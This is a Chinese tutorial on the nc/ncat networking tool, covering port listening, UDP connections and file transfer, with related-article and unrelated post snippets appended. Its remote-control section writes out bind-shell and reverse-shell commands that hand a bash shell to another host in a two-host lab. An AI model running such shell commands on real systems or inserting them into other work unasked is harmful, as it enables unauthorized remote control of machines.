nc介绍

ncat/nc 既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,甚至可以做为一个简单的 TCP 代理。

在大多数 Debian 发行版中,nc 是默认可用的,它会在安装系统的过程中自动被安装。 但是在 CentOS 7 / RHEL 7 的最小化安装中,nc 并不会默认被安装。 需要用下列命令手工安装。

yum install nmap-ncat -y
  • 监听端口

使用-l选指定监听端口,加上-v选项显示详细信息

[root@host_1 ~]# nc -lv 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
  • 连接端口

nc默认就是连接端口,-v显示详细信息,-u连接udp端口

[root@host_2 ~]# nc -v 192.168.159.134 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:1234.

查看系统开启的udp端口

[root@host_1 ~]# netstat -unlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:3139 0.0.0.0:* 691/dhclient
udp 0 0 127.0.0.1:323 0.0.0.0:* 640/chronyd
udp 0 0 0.0.0.0:68 0.0.0.0:* 691/dhclient
udp6 0 0 :::45845 :::* 691/dhclient
udp6 0 0 ::1:323 :::* 640/chronyd

连接udp端口

[root@host_2 ~]# nc -vu 192.168.159.134 3139
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:3139.
  • 传输文件

在端口已连接的基础上,可以进行文件传输。

  • 主机1作为接受端打开端口
[root@host_1 testdir]# nc -lv 1234 > receive.txt

主机2上连接端口并传输文件

[root@host_2 ~]# nc -v 192.168.159.134 1234 < anaconda-ks.cfg
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:1234.
Ncat: 1238 bytes sent, 0 bytes received in 0.03 seconds.
  • 远程控制

现有host_1 host_2两台主机,演示host_2控制Host_1

host_1 192.168.159.134
host_2 192.168.159.130
  • 正向控制

host_1执行:

[root@host_1 testdir]# nc -l 1234 -c bash

host_2执行:

[root@host_2 ~]# nc -v 192.168.159.134 1234
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.134:1234.
hostname
host_1

nc命令通过建立的连接将bash传递给对方。上面host_2连接成功后,执行hostname命令返回host_1主机名,表示已成功控制host_1

由于正向控制是在被控端开启端口,所以若存在防火墙很有可能无法连接成功

  • 反向连接

主机host_2监听端口

[root@host_2 ~]# nc -l 1234

主机host_1连接端口并推送bash

[root@host_1 testdir]# nc -v 192.168.159.130 1234 -e $(which bash)
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.159.130:1234.

控制端主机开启端口监听,被控端主动连接端口并推送bash到控制端。

  • nc传输加密

由于nc使用明文进行传输数据,所以引入ncat命令。ncat命令使用--ssl选项表示开启ssl管道加密传输。

nc命令简介的更多相关文章

  1. nc命令总结

    1.远程拷贝文件从server1拷贝文件到server2上.需要先在server2上,用nc激活监听,server2上运行: 引用 [root@hatest2 tmp]# nc -l 1234 > ...

  2. Linux nc命令详解

    NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本.因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小).功能实用,被设计为一个简单.可靠的网络工具,可通 ...

  3. nc 命令汇总

    转自: http://blog.chinaunix.net/uid-20068039-id-359170.html 1.远程拷贝文件从server1拷贝文件到server2上.需要先在server2上 ...

  4. nc之二:nc命令详解

    NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本.因为它短小精悍(1.84版本也不过25k,旧版本或缩减版甚至更小).功能实用,被设计为一个简单.可靠的网络工具,可通 ...

  5. nc 命令

    目录 nc 命令 一.简介 二.案例 1.端口扫描 2.聊天 3.文件传输 4.目录传输 5.加密网络发送的数据 6.流视频 7.克隆一个设备 8.打开一个shell 9.反向shell 10.指定端 ...

  6. centos nc命令安装

    yum install nc.x86_64 nc命令的参数 参数 作用-i 设置数据报传送时间间隔-l 以服务器方式运行-k 重复接收并处理某个端口上的所有连接,必须与-l选项一起使用-n 使用ip地 ...

  7. nc命令用法举例

    什么是nc nc是netcat的简写,有着网络界的瑞士军刀美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具 nc的作用 (1)实现任意TCP/UDP端口的侦听,nc可以作为server ...

  8. mac终端命令简介

    mac终端命令简介(适合刚刚入手mac的新人们) 1.取得root权限 意义相当与windows中的超级管理员权限,甚至还要超出.root权限可以修改系统中的任何文件,不过对普通用户的意义不大,了解即 ...

  9. Linux Shell脚本编程--nc命令使用详解

    linux nc命令使用详解     功能说明:功能强大的网络工具 语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>] ...

随机推荐

  1. linux 后台执行nohup 命令,终端断开无影响

    nohup /root/start.sh & 在shell中回车后提示: [~]$ appending output to nohup.out原程序的的标准输出被自动改向到当前目录下的nohu ...

  2. css3动画特效集合

    <!DOCTYPE html> <html> <head> <title></title> <meta charset="u ...

  3. (记忆化搜索) FatMouse and Cheese(hdu 1078)

    题目大意:   给n*n地图,老鼠初始位置在(0,0),它每次行走要么横着走要么竖着走,每次最多可以走出k个单位长度,且落脚点的权值必须比上一个落脚点的权值大,求最终可以获得的最大权值   (题目很容 ...

  4. Leetcode--136. Single Number(easy)

    Given a non-empty array of integers, every element appears twice except for one. Find that single on ...

  5. Mybatis类型转换介绍

    1.1     目录 1.2     建立TypeHandler 1.2.1    TypeHandler接口 1.2.2    BaseTypeHandler抽象类 1.3     注册TypeHa ...

  6. hdu 5086 数列连续和求和

    http://acm.hdu.edu.cn/showproblem.php?pid=5086 求一段数列里面所有连续和的和,卡精度 规律很明显,数列里面每个数都被加了i*(n+1-i)次 注意下精度即 ...

  7. Anroid 手机助手 详细解析 概述(二)

    这篇主要说一下手机插入之后的一些动作. 1)  捕获窗口消息 插入拔出一个USB设备windows 会给所有的窗口发送特定的消息,只要我们捕获这些消息就可以处理设备插入和拔出.需要注意的是插入或者拔出 ...

  8. Android记录10--android.os.NetworkOnMainThreadException异常解决办法

    2013年11月1日小光棍节 有一段时间没有发表新的博客了,最近一直在忙着开发新浪微博客户端遇到很多问题比较头痛,比如说本篇博客要讲的NetworkOnMainThreadException这个异常, ...

  9. iOS开发 关于iBeacon的一些记录

    最近时间一直在研究ibeacon所以把自己遇到的一些问题写下来做个笔记. 参考资料:https://github.com/nixzhu/dev-blog/blob/master/2014-04-23- ...

  10. MySQL--REPALCE INTO操作

    REPLACE INTO语法是MySQL数据库独特的扩展语法,可以提供“不存在即插入,存在即更新”的操作,MySQL官方文档解析其算法为: 1.尝试进行INSER 操作 2.如果INSERT 失败,则 ...